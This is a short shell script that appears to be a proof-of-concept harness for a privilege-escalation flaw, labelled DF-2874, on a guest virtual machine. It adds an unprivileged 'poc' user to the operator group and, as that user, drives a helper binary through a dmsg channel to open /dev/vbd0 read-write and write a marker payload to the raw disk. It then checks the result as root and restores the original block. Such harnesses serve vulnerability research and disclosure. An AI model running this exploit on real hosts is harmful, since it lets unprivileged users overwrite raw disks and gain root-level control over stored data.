#!/bin/sh
# DF-2874 root-side setup + orchestration (runs as root on the guest)
set -e
DEV=/dev/vbd0
OFF=32206413824     # 0x77F800000, inside the 7.5MB unused tail gap past slice 1
LEN=4096

echo "=== setup ==="
pw useradd poc -m -G operator -w none 2>/dev/null || true
pw groupshow operator
id poc

# save original bytes of the write target
dd if=$DEV of=/tmp/orig.bin bs=4096 count=1 skip=7862464 2>/dev/null
# build magic payload
printf "DF2874-PRIVESC-MAGIC-ROOT-CRED-RW" > /tmp/magic.bin
dd if=/dev/zero bs=1 count=4063 2>/dev/null | tr "\000" "Z" >> /tmp/magic.bin
md5 /tmp/magic.bin /tmp/orig.bin

echo "=== control: direct write by poc must FAIL ==="
su -l poc -c "dd if=/dev/zero of=$DEV bs=512 count=1" 2>&1 | tail -2 || true

echo "=== control: direct read by poc (O_RDONLY) works (operator group) ==="
su -l poc -c "dd if=$DEV of=/dev/null bs=512 count=1" 2>&1 | tail -1 || true

echo "=== ATTACK as poc: dmsg channel ==="
su -l poc -c "/tmp/dfpeer openwr $DEV 3"            ; echo "openwr_rc=$?"
su -l poc -c "/tmp/dfpeer write $DEV $OFF $LEN 0x5a"; echo "write_rc=$?"
su -l poc -c "/tmp/dfpeer read $DEV $OFF $LEN /tmp/poc_readback.bin" ; echo "read_rc=$?"

echo "=== verify as root ==="
dd if=$DEV of=/tmp/root_readback.bin bs=4096 count=1 skip=7862464 2>/dev/null
md5 /tmp/root_readback.bin /tmp/magic.bin /tmp/orig.bin
if cmp -s /tmp/root_readback.bin /tmp/magic.bin; then
    echo "RESULT: UNPRIV_USER_WROTE_RAW_DISK_AS_ROOT=CONFIRMED"
elif cmp -s /tmp/root_readback.bin /tmp/orig.bin; then
    echo "RESULT: NOT_WRITTEN (still original)"
else
    echo "RESULT: WRITTEN_BUT_DIFFERENT"
fi
echo "=== restore original bytes ==="
dd if=/tmp/orig.bin of=$DEV bs=4096 count=1 seek=7862464 conv=notrunc 2>/dev/null
dd if=$DEV of=/tmp/verify_restore.bin bs=4096 count=1 skip=7862464 2>/dev/null
cmp -s /tmp/verify_restore.bin /tmp/orig.bin && echo RESTORED_OK